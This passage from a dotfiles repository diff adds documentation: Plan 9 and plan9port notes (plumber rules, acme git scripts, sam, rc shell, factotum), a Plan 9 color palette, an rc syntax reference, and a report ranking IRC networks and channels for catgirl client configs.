to open or do based on text you right-click. + +### Default Rules (plan9port) + +``` +# compiler errors: file.go:42:5: message +type is text +data matches '([a-zA-Z0-9_\-./]+):([0-9]+).*' +arg isfile $1 +plumb to edit +plumb client window acme +data set $file +attr add addr=$2 +``` + +``` +# URLs +type is text +data matches 'https?://[a-zA-Z0-9_\-./~:?#&=+%@,;]+' +plumb to web +plumb start chrome $0 +``` + +``` +# man pages: fork(2), open(2) +type is text +data matches '([a-zA-Z0-9_]+)\(([0-9])\)' +plumb to man +plumb start sh -c 'man '$2' '$1 +``` + +``` +# git SHA: 40-char hex +type is text +data matches '[0-9a-f]{40}' +plumb to git +plumb start sh -c 'git show '$0' | acme -' +``` + +``` +# image files +type is text +data matches '.*\.(png|jpg|jpeg|gif|bmp)' +arg isfile $0 +plumb to image +plumb start display $0 +``` + +### Custom Rule Example + +To open `.json` files in a formatter: + +``` +type is text +data matches '.*\.json' +arg isfile $0 +plumb to edit +plumb client window acme +data set $0 +plumb start window jq . $0 +``` + +### Reloading Plumber Rules + +```sh +cat $HOME/lib/plumbing | 9p write plumb/rules +``` + +--- + +## 7. Acme + Git Workflow + +These are conventional shell scripts used inside acme. Middle-click to execute. + +### gl -- Git Log in Acme Window + +```sh +#!/usr/bin/env rc +# gl: show git log, clickable SHAs +git log --oneline | sed 's/^/ /' | acme - +``` + +### glo -- Git Log with Details + +```sh +#!/usr/bin/env rc +# glo: full log +git log --format='%H %ad %s' --date=short | acme - +``` + +### gv -- Git Show a Commit + +```sh +#!/usr/bin/env rc +# gv: git show $1 +git show $1 | acme - +``` + +### gbl -- Git Blame Current File + +```sh +#!/usr/bin/env rc +# gbl: blame current file +git blame $% | acme - +``` + +### gd -- Git Diff + +```sh +#!/usr/bin/env rc +# gd: diff working tree +git diff | acme - +``` + +### Interactive Rebase with Acme as EDITOR + +```sh +EDITOR=E git rebase -i HEAD~5 +``` + +`E` is the plan9port editor wrapper that opens a file in the current acme instance and waits for it to close. This lets you edit the rebase todo list inside acme. + +### Committing from Acme + +```sh +# create commit message file, edit in acme, then commit +echo '' > /tmp/commitmsg +E /tmp/commitmsg +git commit -F /tmp/commitmsg +``` + +--- + +## 8. sam -d for Batch Editing + +`sam` is the predecessor to acme. `sam -d` runs without any display, reading commands from stdin. This is ideal for scripted file editing. + +### Basic Usage + +```sh +sam -d file.go <<'EOF' +,s/oldname/newname/g +w +EOF +``` + +### Piped Workflow + +```sh +echo ',s/http:/https:/g +w' | sam -d *.md +``` + +### Structural Edits via sam -d + +```sh +# delete all blank lines from file.txt +sam -d file.txt <<'EOF' +,x/^$/d +w +EOF + +# prepend shebang to all .sh files missing one +for f in *.sh; do + sam -d $f <<'EOF' +0g/^#!/ i/#!/usr/bin/env bash\n/ +w +EOF +done +``` + +### ssam -- Stream sam + +`ssam` is a wrapper that applies sam commands to stdin, outputting to stdout. Useful in pipelines. + +```sh +# remove trailing whitespace from all lines +cat file.go | ssam ',x/[ \t]+$/d' + +# add semicolons to end of lines not already ending in one +cat file.go | ssam ',x/[^;]\n/a/;/' +``` + +--- + +## 9. rc Shell + +`rc` is the Plan 9 shell. It is simpler, more consistent, and more composable than sh or bash. + +### Lists Are First-Class + +Variables hold lists natively. No word splitting, no glob rescan. + +```rc +files = (main.go util.go server.go) +for (f in $files) echo $f + +# append to a list +files = ($files new.go) +``` + +Compare with bash where `files="main.go util.go"` is just a string and requires careful quoting. + +### No Rescan + +In bash, `$var` undergoes glob expansion after assignment. In rc, it does not. + +```rc +pattern = '*.go' +echo $pattern # prints *.go literally, not expanded +ls $pattern # expands here, where you want it +``` + +### Simpler Quoting + +Single quotes quote literally. Double quotes do not exist as a quoting mechanism. `''` inside single quotes produces a literal single quote. + +```rc +echo 'it''s fine' # prints: it's fine +echo 'no $expansion' # prints: no $expansion +``` + +### String Concatenation with ^ + +The `^` operator concatenates strings and lists. + +```rc +base = /usr/local +echo $base^/bin # /usr/local/bin + +prefix = foo +names = (bar baz) +echo $prefix^$names # foobar foobaz (list expansion) +``` + +### File Descriptor Manipulation + +```rc +cmd >[2=1] # redirect stderr to stdout (equivalent of 2>&1) +cmd >[2]/dev/null # discard stderr +cmd <[0]/dev/null # read stdin from /dev/null +``` + +### Function Definitions + +```rc +fn greet { + echo hello $1 +} + +greet world # prints: hello world +``` + +### Environment and Path + +```rc +path = (/usr/local/bin /usr/bin /bin) # path is a list +home = /home/kris +``` + +### Comparison with sh + +| Feature | sh/bash | rc | +|---------|---------|-----| +| Lists | Strings with splitting | Native first-class | +| Glob rescan | Yes (dangerous) | No | +| Quoting | Complex | Simple | +| Concatenation | Juxtaposition | `^` operator | +| stderr redirect | `2>&1` | `>[2=1]` | +| Functions | `foo() { }` | `fn foo { }` | + +--- + +## 10. Rob Pike's 5 Rules of Programming + +These rules appear in Pike's notes and talks. They are about systems, not just code. + +1. **You can't tell where a program is going to spend its time.** Bottlenecks occur in surprising places. Don't guess. Measure. + +2. **Measure. Don't tune for speed until you've measured, and even then don't unless one part of the code overwhelms the rest.** Premature optimization is wasted effort on the wrong problem. + +3. **Fancy algorithms are slow when n is small, and n is usually small.** Simple algorithms win in practice. Fancy algorithms have big constants. + +4. **Fancy algorithms are buggier than simple ones, and they're much harder to implement.** Use simple algorithms and simple data structures. A hash table or a linked list is almost always enough. + +5. **Data dominates. If you've chosen the right data structures and organized things well, the algorithms will almost always be self-evident.** Program in terms of your data structures. Code follows data. + +Rule 5 is the deepest. When the data structure is right, the program writes itself. + +--- + +## 11. cat -v Considered Harmful + +This is the title of a 1983 paper by Rob Pike and Brian Kernighan. The principle applies far beyond `cat`. + +### The Argument + +`cat -v` makes non-printing characters visible by converting them to printable representations. It seems helpful. It is harmful because: + +- It destroys data: the output of `cat -v` is not the same bytes as the input +- Programs that need visible control characters should handle them themselves +- Using `cat -v` in a pipeline corrupts the data for downstream programs +- It teaches a wrong model: that control characters are inherently problems to be escaped + +### The Broader Principle + +Tools that silently transform data violate composability. Unix pipes work because tools pass data through unchanged. When a tool modifies data "for display", it breaks the pipeline. + +Applied more broadly: do not add smarts to transport layers. The file should contain what the file contains. The display layer can render it however it wants. Do not conflate storage and display. + +### Practical Implications + +- Do not use `cat -A`, `cat -e`, `cat -t` in scripts. Use `xxd` or `od` for binary inspection. +- Do not use tools that silently mangle line endings, encodings, or whitespace. +- Prefer tools that are transparent about their transforms. +- When writing tools, separate the concerns: read data, process data, present data. Do not mix presentation into processing. + +--- + +## 12. Factotum Credential Management Philosophy + +Factotum is the Plan 9 credential manager and authentication agent. It embodies a specific philosophy about how credentials should work. + +### The Model + +Factotum is a file server (`/mnt/factotum`). Programs authenticate by reading from and writing to factotum's files. The kernel mediates all access. No program ever sees a raw password; they see tokens that factotum provides. + +### Core Principles + +**Credentials belong to the agent, not the process.** A program does not hold a password. It asks factotum "can I authenticate as kris to this host?" and factotum says yes or no, or asks the user. + +**Authentication is a protocol.** Programs speak a challenge-response protocol with factotum. This works for passwords, keys, tickets, and anything else that can be plugged in. + +**Single point of trust.** You type your password once to factotum at login. Everything else delegates to it. No password ever appears in environment variables, files, or process arguments. + +**Delegation, not copying.** A process can be granted the ability to authenticate on your behalf without being given the credential itself. Factotum can grant limited, scoped authority. + +### Linux Analogy: ssh-agent + +`ssh-agent` follows the same philosophy for SSH keys. You add your key once (`ssh-add`), and then all SSH connections negotiate through the agent. The private key never leaves the agent. + +The difference is that ssh-agent only does SSH. Factotum is general: it handles any protocol you plug in. + +### Applying This Philosophy on Linux + +- Use `ssh-agent` and `ssh-add`. Never put private keys in environment variables. +- Use `pass` or `gopass` for passwords. They never appear in shell history. +- Use `gpg-agent` for GPG operations. Keys live in the agent. +- Avoid tools that require `--password` flags on the command line (they appear in `ps` output). +- Prefer tools that read credentials from sockets or files with mode 600. + +--- + +## 13. Plan 9 Ideas on Linux + +Plan 9 is not widely deployed, but its ideas are available on Linux through plan9port and disciplined practice. + +### plan9port + +plan9port is a port of Plan 9 userland tools to Unix. + +```sh +# install on Arch Linux +paru -S plan9port + +# or from source +git clone https://github.com/9fans/plan9port +cd plan9port && ./INSTALL +``` + +Key tools it provides: `acme`, `sam`, `9p`, `plumber`, `rc`, `mk`, `9`, `factotum` (partial). + +### Running Acme on Linux + +```sh +# set PLAN9 environment variable +export PLAN9=/usr/local/plan9 +export PATH=$PLAN9/bin:$PATH + +# start acme +acme +``` + +### sam -d on Linux + +Available immediately after installing plan9port. Excellent for scripted edits. + +```sh +# edit multiple files with structural regex +for f in src/*.go; do + sam -d $f <<'EOF' +,x/.*\n/g/FIXME/s/FIXME/TODO/g +w +EOF +done +``` + +### ssam on Linux + +Also available via plan9port. Use it for stream processing: + +```sh +git diff --stat | ssam ',x/[0-9]+/p' | sort -n +``` + +### The Plumber on Linux + +The plumber requires a running plumb daemon. + +```sh +# start plumber +plumber + +# reload rules +cat $HOME/lib/plumbing | 9p write plumb/rules +``` + +Acme sends right-click events to the plumber automatically when both are running. + +### Structural Thinking Without Plan 9 Tools + +Even without acme, you can apply structural regex thinking: + +**With ripgrep:** +```sh +# find all lines with TODO in .go files, then process +rg 'TODO' --files-with-matches | xargs sam -d <<'EOF' +,x/.*\n/g/TODO/s/TODO(\([^)]+\))?/FIXME/g +w +EOF +``` + +**With awk:** +```sh +# awk can do g/v logic: print blocks between markers +awk '/BEGIN/,/END/' file.txt +awk '!/^#/ && NF > 0' file.txt # non-comment, non-blank lines +``` + +**With perl -0777:** +```sh +# perl with -0777 slurps whole file: enables cross-line regex +perl -0777 -i -pe 's/foo.*?bar/REPLACED/gs' file.txt +``` + +**sed with ranges:** +```sh +sed -n '/^func /,/^}/p' main.go # print function bodies +sed '/^func /,/^}/s/TODO/FIXME/g' main.go +``` + +### mk vs make + +`mk` is the Plan 9 build tool. It is simpler than make: no implicit rules, no magic variables, consistent behavior. + +plan9port ships `mk`. Using it on Linux: + +```sh +# Mkfile (note: capital M) +all:V: + go build ./... + +test:V: + go test ./... + +clean:V: + rm -f bin/* +``` + +The `:V:` suffix marks a target as a virtual target (like `.PHONY` in make). + +### Namespace Manipulation + +Plan 9 has per-process namespaces. On Linux, containers and `unshare` provide a rough equivalent. + +```sh +# run a command in a new mount namespace +unshare --mount sh + +# Linux namespaces are Plan 9 namespaces, implemented later and less cleanly +``` + +### The Discipline + +The Plan 9 approach applied to Linux+dwm: + +- Keep tools small and composable. Prefer pipelines over monoliths. +- Write programs that read stdin and write stdout. Make them scriptable. +- Use text as the universal interface. Avoid binary formats for configuration. +- Prefer convention over configuration. Agree on file locations and formats. +- Name things well. A good name is documentation. +- When something is hard to explain, it probably has the wrong interface. +- The editor is a tool, not a religion. But use one that can be scripted. +- Prefer mk over make, rc over bash, sam over sed for structural edits. +- Measure before optimizing. Data structures before algorithms. + +--- + +## Quick Reference Card + +### Edit Commands Cheat Sheet + +``` +,p print whole file +,d delete whole file +,s/a/b/g replace a with b globally +,x/pat/cmd for each match of pat, run cmd +,x/.*\n/g/pat/p print lines matching pat +,x/.*\n/v/pat/d delete lines not matching pat +,|cmd pipe whole file through cmd +,<cmd replace file with cmd output +,>cmd pipe file to cmd (no replace) +/pat/+1 line after next match of pat +/pat/-1 line before next match of pat +X/\.go$/cmd run cmd in all open .go windows +``` + +### sam -d Cheat Sheet + +```sh +sam -d file <<'EOF' +,s/old/new/g +w +q +EOF + +echo ',s/old/new/g +w' | sam -d file +``` + +### rc Cheat Sheet + +```rc +files = (a b c) # list +$#files # count: 3 +$files(2) # second element: b +fn f { echo $* } # function +cmd >[2=1] # stderr to stdout +path = (/usr/bin /bin) # set path +``` + +### Plumber Rule Structure + +``` +type is text +data matches 'regex' +arg isfile $0 # optional: verify it's a file +plumb to destination +plumb start command $0 +``` diff --git a/doc/plan9.md b/doc/plan9.md new file mode 100644 index 0000000000000000000000000000000000000000..ac1bfb65078c362fb00cf1a56ec29a4fe9ad1fc6 --- /dev/null +++ b/doc/plan9.md @@ -0,0 +1,67 @@ +# Plan 9 Color Scheme Reference + +## The Iconic Colors (Acme/Rio UI) + +| Element | Hex | Description | +|----------------------|-----------|----------------------| +| Acme body bg | `#ffffea` | The famous cream | +| Acme tag bg | `#eaffff` | Pale blue-green | +| Text | `#000000` | Black | +| Selected (body) | `#eeee9e` | Dark yellow | +| Selected (tag) | `#9eeeee` | Pale grey-green | +| Body border | `#99994c` | Yellow-green | +| Tag border | `#8888cc` | Purple-blue | + +## Full draw.h Palette (plan9port/include/draw.h) + +All values originally 0xRRGGBBFF in source. + +| Name | Hex | +|-------------------|-----------| +| DBlack | `#000000` | +| DWhite | `#ffffff` | +| DRed | `#ff0000` | +| DGreen | `#00ff00` | +| DBlue | `#0000ff` | +| DCyan | `#00ffff` | +| DMagenta | `#ff00ff` | +| DYellow | `#ffff00` | +| DPaleyellow | `#ffffaa` | +| DDarkyellow | `#eeee9e` | +| DDarkgreen | `#448844` | +| DPalegreen | `#aaffaa` | +| DMedgreen | `#88cc88` | +| DDarkblue | `#000055` | +| DPalebluegreen | `#aaffff` | +| DPaleblue | `#0000bb` | +| DBluegreen | `#008888` | +| DGreygreen | `#55aaaa` | +| DPalegreygreen | `#9eeeee` | +| DYellowgreen | `#99994c` | +| DMedblue | `#000099` | +| DGreyblue | `#005dbb` | +| DPalegreyblue | `#4993dd` | +| DPurpleblue | `#8888cc` | + +## Lospec 23-Color Simplified Palette + +``` +#ffffff #ffeaff #cc88cc #884488 +#eaffff #88cccc #448888 #eaeaff +#8888cc #444488 #eaffea #88cc88 +#448844 #ffffea #cccc88 #888844 +#ffeaea #cc8888 #884444 #eaeaea +#cccccc #888888 #000000 +``` + +## Design Philosophy + +Rob Pike chose pale colors because "these systems were going to be looked at all day" (Edward Tufte influence). Acme uses yellow (#ffffea) for text bodies and blue (#eaffff) for tag bars to create visual separation. + +## Widget Programs (from the gif) + +### faces +Mail notification strip. Shows 48x48 portrait icons for recent mail senders. Reads from /mail/fs/mbox/ and displays faces from /lib/face/. Part of base Plan 9 and plan9port. + +### stats +Real-time system monitor. Shows graphs of CPU, memory, network, etc. Can monitor multiple machines simultaneously. Part of base Plan 9 and plan9port. diff --git a/doc/rc-shell-reference.md b/doc/rc-shell-reference.md new file mode 100644 index 0000000000000000000000000000000000000000..0ffa2f09583128100f06ad9f051e77a95a58efca --- /dev/null +++ b/doc/rc-shell-reference.md @@ -0,0 +1,96 @@ +# rc shell reference + +Quick reference for Plan 9 rc shell syntax. Extracted from plan9port. + +## Variables + + var=value # assignment + var=(a b c) # list + $var # expand + $#var # count + $var(2) # index (1-based) + $$var # indirect + $"var # stringify list (join with spaces) + $var^suffix # concatenate + +## Control Flow + + if(test) cmd + if not cmd + + for(i in list) cmd + for(i) cmd # implicit $* + + while(test) cmd + + switch($var) { + case pattern + cmd + case pat1 pat2 + cmd + } + +## Functions + + fn name { body } + fn sigexit { cleanup } # trap on exit + fn sigint { } # trap ctrl-c + +## Pattern Matching + + ~ $var pattern # true if matches + ~ $var *.c *.h # multiple patterns + ! ~ $var pattern # negation + +## Redirection + + > file # stdout + >> file # append + < file # stdin + >[2] file # stderr + >[1=2] # merge stdout to stderr + >[2=1] # merge stderr to stdout + <{cmd} # process substitution (in) + >{cmd} # process substitution (out) + +## Command Substitution + + `{cmd} # split on $ifs + ``(sep){cmd} # split on sep + +## Process Control + + rfork e # new env (copy) + rfork en # new env + namespace + rfork ns # new namespace only + +## Status + + $status # exit status of last command + exit '' # success + exit 'error msg' # failure + +## Flags + + flag p && ... # test if -p flag was passed + getflags # parse flags + +## Quoting + + 'literal' # no expansion + '' # empty string + '''' # literal single quote + # no double quotes -- use ^ for concatenation + +## Key Differences from sh/bash + + - No double quotes (use $"var for stringify) + - path is a list, not colon-separated + - Lists are first class (not just strings) + - No export -- env is inherited via fork + - if/if not instead of if/else/elif + - ~ for pattern matching instead of [[ ]] + - fn instead of function + - $status instead of $? + - ^ for string concatenation + - No arithmetic expansion -- use expr or bc diff --git a/doc/report.md b/doc/report.md new file mode 100644 index 0000000000000000000000000000000000000000..e4e0f36a749c3c211821df105f10944a6194f1e6 --- /dev/null +++ b/doc/report.md @@ -0,0 +1,641 @@ +# IRC and Private Tracker Network Research + +Date: 2026-05-28 + +Scope: `src/srice/.config/catgirl` currently has catgirl configs for public IRC networks and private tracker entry points. This report ranks candidates worth adding or expanding before touching the configs. + +## Executive Ranking + +### Add First + +| Rank | Target | Network | Channels | Why | +| --- | --- | --- | --- | --- | +| 1 | 9front / Plan 9 | OFTC | `#cat-v`, `#9fans` | Highest relevance to Inferno, Plan 9, 9front, small-trust hacker culture. | +| 2 | Asahi / Apple hardware hackers | OFTC | `#asahi`, `#asahi-dev`, `#asahi-re`, `#asahi-gpu` | Best Apple-adjacent hacker community in the classical systems sense, not Apple cybersecurity. | +| 3 | Math | Libera | `##math`, `##math-offtopic` | Already partly configured, but the off-topic channel is useful for repeated presence and trust. | +| 4 | Physics | Libera | `##physics` | `#physics` merged into `##physics`; update current EFnet-only physics coverage. | +| 5 | Computer science and programming | Libera | `##programming`, `#python`, `##rust`, `#haskell`, `#lisp`, `#scheme`, `#c`, `#git` | Large, active, still IRC-native, good for depth and repeated help. | +| 6 | BSDs | Libera | `#openbsd`, `#netbsd`, `#freebsd` | Strong fit for old-school Unix culture; OpenBSD and NetBSD are especially IRC-shaped. | +| 7 | GNU/Linux distributions | Libera/OFTC | `#archlinux`, `#gentoo`, `#debian` on OFTC, `#alpine-linux` on OFTC | High-density support and contributor communities. | +| 8 | Security | hackint / Libera / 2600 | `hackint`, `#security`, `irc.2600.net/#2600`, `#nyc2600` | hackint is the best network-level bet; Libera `#security` is large; 2600 has older social roots. | +| 9 | Suckless / minimal Unix | OFTC | `#suckless` | Best match for dwm/st/catgirl/ii taste. Verify live membership before adding. | +| 10 | Books and tracker gateways | Existing + MAM/IRCHighWay/Undernet | Existing `mam`, `irchighway`, `undernet` | Keep, but treat as content acquisition networks, not high-trust community by default. | + +### Keep But Do Not Prioritize + +| Target | Network | Reason | +| --- | --- | --- | +| EFnet | `irc.efnet.org` | Valuable old IRC culture, but weak services and lower identity stability. | +| IRCnet | `open.ircnet.net` | Historically important, European old-school, but usually lower practical yield. | +| Rizon | `irc.rizon.net` | Useful for BakaBT and anime culture; less relevant to research and systems trust. | +| Tilde.chat | `irc.tilde.chat` | Good social layer for tilde/pubnix culture; uneven signal. | + +## Current Catgirl Configs + +| Config | Host | Current join | Status | +| --- | --- | --- | --- | +| `bakabt` | `irc.rizon.net` | `#bakabt` | Already present. Add `#bakabt-support` if you want official support. | +| `dime` | `irc.canternet.org` | `#dimeadozen` | Already present. Good for live recordings. | +| `efnet` | `irc.efnet.org` | `#physics,#math` | Already present. Consider moving serious math/physics to Libera. | +| `hackint` | `irc.hackint.org` | none | Already present. Needs channels. | +| `irchighway` | `irc.irchighway.net` | `#ebooks` | Already present. Useful, but low-trust DCC book network. | +| `ircnet` | `open.ircnet.net` | `#science` | Already present. | +| `libera` | `irc.libera.chat` | `##math,##philosophy,##books,#science` | Already present. This is the best general expansion target. | +| `mam` | `irc.myanonamouse.net` | none | Already present. Add only official interview/support channels from site instructions. | +| `oftc` | `irc.oftc.net` | none | Already present. This is the best Plan 9, Debian, Asahi, Alpine expansion target. | +| `ops` | `irc.orpheus.network` | `#interview` | Already present. | +| `red` | `irc.interviewfor.red` | `#recruitment` | Already present, but RED's current prep docs say interview flow uses IRC and may use `#RED-invites`; verify before changing. | +| `rizon` | `irc.rizon.net` | `#chat` | Already present. | +| `tilde` | `irc.tilde.chat` | none | Already present. | +| `undernet` | `irc.undernet.org` | `#Bookz` | Already present. | + +## Quality Rubric + +| Score | Meaning | +| --- | --- | +| A+ | Core network/channel for your stated goals; add now. | +| A | High-quality community with strong trust-building potential. | +| B | Useful, but more support-oriented, noisy, or less directly aligned. | +| C | Keep as optional/legacy/context; do not spend daily attention. | +| D | Avoid adding unless you have a specific reason. | + +Trust signals used: official project ownership, stable network identity, channel age, topical depth, operator culture, logs/transparency, route into offline or contributor networks, and fit with your Plan 9/BSD/suckless/academic interests. + +## Public IRC Networks + +### Libera.Chat + +Quality: A + +Current config: `libera` + +Connection: `irc.libera.chat`, TLS port `6697`. + +Libera is the default modern FOSS IRC network. Official docs say to connect to `irc.libera.chat:6697` with TLS, and its own positioning is FOSS and peer-directed collaboration. It has thousands of channels, and Libera's `alis` service is the right way to discover channels from inside IRC. + +Best additions: + +| Channel | Score | Use | +| --- | --- | --- | +| `##math` | A+ | Main mathematics community; official channel page says it is on Libera TLS and is for mathematics at all levels. Already in config. | +| `##math-offtopic` | A | Trust-building side channel for regulars. | +| `##physics` | A | Use this instead of `#physics`; indexed topic says `#physics` merged into `##physics`. | +| `##programming` | A | General programming and CS; has its own rules/site and is large. | +| `#science` | B+ | Already in config. Broader and more casual than math/physics. | +| `#security` | A- | Large general computer/network/physical security channel. Keep ethical and defensive. | +| `#linux` | A- | Very active broad Linux community. Good people discovery, noisy support floor. | +| `#archlinux` | A | Official Arch support community. | +| `#gentoo` | A | Official Gentoo support and culture. Good fit for source-based Linux. | +| `#openbsd` | A | Unofficial but very active OpenBSD support; high Unix signal. | +| `#netbsd` | A- | Smaller than OpenBSD, strong systems signal. | +| `#freebsd` | A- | Official FreeBSD IRC presence is on Libera. | +| `#git` | A- | Useful for source workflows and contributor culture. | +| `#emacs` | B+ | Strong culture, long-lived regulars. | +| `#qutebrowser` | B+ | Relevant to your browser/tooling world. | +| `#lobsters` | B+ | Computing-focused social room, useful for trust and taste. | +| `#python` | B+ | Very active, mostly help-oriented. | +| `##rust` | B+ | Active Rust channel; useful even if not core. | +| `#haskell`, `#lisp`, `#scheme`, `#c` | B+ | Language communities with deeper CS overlap. Verify activity with `/msg alis list`. | + +Notes: + +- Register and SASL-auth your nick before joining large channels. +- Do not run unattended LLM bots. Libera posted a bot/LLM policy update in 2026 noting privacy problems and unsanctioned LLM bots. +- For channel discovery use `/msg alis list <pattern> -min <n> -topic <term>`. + +Sources: + +- https://libera.chat/ +- https://libera.chat/guides/connect +- https://libera.chat/guides/findingchannels +- https://libera-math.github.io/ +- https://libera-programming.github.io/ +- https://www.ircdriven.com/network/Libera.Chat/channels/ +- https://www.ircdriven.com/network/Libera.Chat/channel/security/ +- https://www.ircdriven.com/network/Libera.Chat/channel/openbsd/ +- https://www.ircdriven.com/network/Libera.Chat/channel/netbsd/ +- https://www.ircdriven.com/network/Libera.Chat/channel/physics/chat/ + +### OFTC + +Quality: A+ + +Current config: `oftc` + +Connection: `irc.oftc.net`, TLS port `6697` or `9999`. + +OFTC is the best expansion network for Plan 9, 9front, Debian, Alpine, postmarketOS, and Asahi Linux. Official OFTC docs support TLS, IPv4/IPv6, Tor, and an onion service. This matters if you care about older Internet identity plus practical privacy. + +Best additions: + +| Channel | Score | Use | +| --- | --- | --- | +| `#cat-v` | A+ | Main 9front/Plan 9-adjacent room. Multiple community references point people here. | +| `#9fans` | A | Plan 9 discussion, smaller than `#cat-v`. | +| `#suckless` | A | Minimal Unix/suckless culture; verify current topic/activity. | +| `#debian` | A | Debian official IRC is on OFTC; `irc.debian.org` aliases to OFTC. | +| `#debian-devel` | A- | Development channel if you want contributor exposure. | +| `#alpine-linux` | A | Official Alpine moved to OFTC; channel is active. | +| `#alpine-devel` | A- | Alpine development. | +| `#asahi` | A+ | Apple Silicon Linux porting. Best Apple hacker room. | +| `#asahi-dev` | A | Asahi development. | +| `#asahi-re` | A | Reverse engineering Apple Silicon. This is the closest fit to classical Apple hacking. | +| `#asahi-gpu` | A | GPU work; high technical density. | +| `#postmarketos` | A- | Mobile Linux, ports, embedded Linux. | +| `#openwrt` | A- | Routers, embedded networking. | +| `#fdroid` | B+ | Android/FOSS app ecosystem. | +| `#tor` | B+ | Privacy infrastructure, verify channel norms before speaking. | + +Sources: + +- https://www.oftc.net/ +- https://wiki.debian.org/IRC/ +- https://www.debian.org/doc/manuals/developers-reference/resources +- https://www.alpinelinux.org/posts/Switching-to-OFTC.html +- https://asahilinux.org/community +- https://www.ircdriven.com/network/OFTC/channels/ +- https://www.ircdriven.com/network/OFTC/channel/9fans/ +- https://9fans.topicbox.com +- https://www.mail-archive.com/9fans@9fans.net/msg40442.html + +### hackint + +Quality: A + +Current config: `hackint` + +Connection: `irc.hackint.org`, TLS port `6697`. + +hackint describes itself as an IRC network for the hacker community worldwide. It is the best network-level candidate for general hacker culture, CTFs, privacy infrastructure, and event rooms. It is also actively maintained: hackint is moving away from in-band NickServ `IDENTIFY` and toward SASL/CERTFP-style authentication. + +Best additions: + +| Channel | Score | Use | +| --- | --- | --- | +| `#hackint` or network help channel | B+ | Learn network norms first. Verify exact help channel with `/list`. | +| `#dn42` | A | Decentralized networking, BGP lab culture, trust graph via real technical work. | +| CCC/event channels | A- | Event-specific, high value during congress/camp/conf season. Use `/list *c3*` and `/list *ccc*`. | +| CTF/team channels | B+ | Usually event-specific or private. Discover by `/list *ctf*`. | + +Do: + +- Use SASL instead of `/msg NickServ identify` in channel or logs. +- Treat hackint as a trust network. Lurk, contribute technically, do not look like a drive-by. + +Sources: + +- https://www.hackint.org/ +- https://www.hackint.org/faq +- https://dn42.dev/services/IRC + +### 2600net + +Quality: B+ + +Connection: `irc.2600.net` + +2600 is historically important and socially useful, especially if you want older hacker culture and meeting-adjacent trust. NYC2600 says 2600 operates its own IRC server; `#nyc2600` is the official meeting-goer channel, with `#2600`, `#offthehook`, and `#offthewall` also called out. + +Add as separate config: + +```ini +host = irc.2600.net +port = 6697 +nick = khr1st +join = #2600,#nyc2600 +mode = +i +``` + +Verify TLS support before committing the port. If TLS fails, decide whether plaintext is acceptable. + +Source: + +- https://nyc2600.net/irc/ + +### Squick + +Quality: B + +Connection: `squick.me` + +Squick explicitly frames itself as hacker-friendly in the MIT/maker sense, not the cybercriminal sense. It is probably worth a trial idle if you want a smaller general-purpose network with a lighter culture than Libera. + +Recommended status: candidate, not first wave. + +Source: + +- https://squick.me/ + +### Tilde.chat + +Quality: B + +Current config: `tilde` + +Use it for pubnix/tilde culture and small social trust. It is less directly tied to your requested research domains than OFTC/Libera/hackint, but worth keeping. + +Recommended discovery: + +- `/list *plan*` +- `/list *bsd*` +- `/list *linux*` +- `/list *program*` +- `/list *books*` + +### EFnet and IRCnet + +Quality: C+ + +Current configs: `efnet`, `ircnet` + +These are historically meaningful. Keep them for old culture and chance encounters, but do not use them as the main trust base. Identity and channel ownership are weaker than on modern services-backed networks. + +## Domain Recommendations + +### Mathematics Research + +Add to `libera`: + +```ini +join = ##math,##math-offtopic,#science +``` + +Optional channels to verify with `alis`: + +- `##statistics` +- `#math` +- `#mathoverflow` +- `#lean` +- `#coq` +- `#agda` +- `#sage` +- `#julia` +- `#latex` + +Ranking: + +| Target | Score | Note | +| --- | --- | --- | +| `##math` on Libera | A+ | Primary room. | +| `##math-offtopic` on Libera | A | Trust-building, not just homework/help. | +| Proof assistants (`#lean`, `#coq`, `#agda`) | A- | Strong bridge between math and CS, verify activity. | +| `#latex` | B | Useful, mostly support. | + +### Physics + +Add to `libera`: + +```ini +join = ##physics +``` + +Keep EFnet `#physics` as a legacy probe, but current evidence says Libera `#physics` merged into `##physics`. + +Optional: + +- `#astronomy` +- `#space` +- `#gnuradio` +- `#sdr` + +Ranking: + +| Target | Score | Note | +| --- | --- | --- | +| `##physics` on Libera | A | Best current target. | +| SDR/GNU Radio rooms | A- | Practical physics/radio overlap. | +| EFnet `#physics` | C+ | Keep for old network culture. | + +### Computer Science + +Add to `libera`: + +```ini +join = ##programming,#git,#python,##rust,#haskell,#lisp,#scheme,#c +``` + +Ranking: + +| Target | Score | Note | +| --- | --- | --- | +| `##programming` | A | General CS/programming community. | +| `#git` | A- | Excellent for real contributor competence. | +| `#haskell`, `#lisp`, `#scheme` | A- | Higher theory-to-systems density than many language rooms. | +| `#python`, `##rust`, `#c` | B+ | Large and useful, more support noise. | + +### Plan 9, Inferno, 9front + +Add to `oftc`: + +```ini +join = #cat-v,#9fans +``` + +Optional: + +- Watch 9fans Topicbox. +- Use gridchat only if you want the deeper Plan 9-native chat model; it is not a catgirl IRC target. + +Ranking: + +| Target | Score | Note | +| --- | --- | --- | +| `#cat-v` on OFTC | A+ | Main 9front/Plan 9 hacker channel. | +| `#9fans` on OFTC | A | Smaller Plan 9 room. | +| 9fans mailing list | A | More archival and less real-time. | +| gridchat | B+ | Interesting, but separate workflow. | + +Sources: + +- https://plan9.io/wiki/plan9/community/ +- https://9fans.topicbox.com +- https://www.mail-archive.com/9fans@9fans.net/msg40442.html + +### BSDs + +Add to `libera`: + +```ini +join = #openbsd,#netbsd,#freebsd +``` + +Ranking: + +| Target | Score | Note | +| --- | --- | --- | +| `#openbsd` on Libera | A | Active, direct, high Unix signal. | +| `#netbsd` on Libera | A- | Smaller but deep. | +| `#freebsd` on Libera | A- | Official FreeBSD IRC presence. | +| FreeBSD project/team channels | B+ | Add later if contributing. | + +Sources: + +- https://www.freebsd.org/community/irc/ +- https://www.ircdriven.com/network/Libera.Chat/channel/openbsd/ +- https://www.ircdriven.com/network/Libera.Chat/channel/netbsd/ + +### GNU/Linux + +Add/expand: + +| Project | Network | Channel | Score | Source | +| --- | --- | --- | --- | --- | +| Debian | OFTC | `#debian`, `#debian-devel` | A | Debian says official IRC channels are on OFTC. | +| Alpine | OFTC | `#alpine-linux`, `#alpine-devel` | A | Alpine says it moved these channels to OFTC. | +| Arch | Libera | `#archlinux` | A | Official Arch IRC is on Libera. | +| Gentoo | Libera | `#gentoo`, `#gentoo-chat` | A | Gentoo docs point to Libera channels and CoC. | +| Fedora | Libera | `#fedora` | B+ | Active support. | +| Ubuntu | Libera | `#ubuntu` | B | Very large, support-oriented, less aligned with your taste. | +| OpenWrt | OFTC | `#openwrt` | A- | Embedded/networking value. | +| postmarketOS | 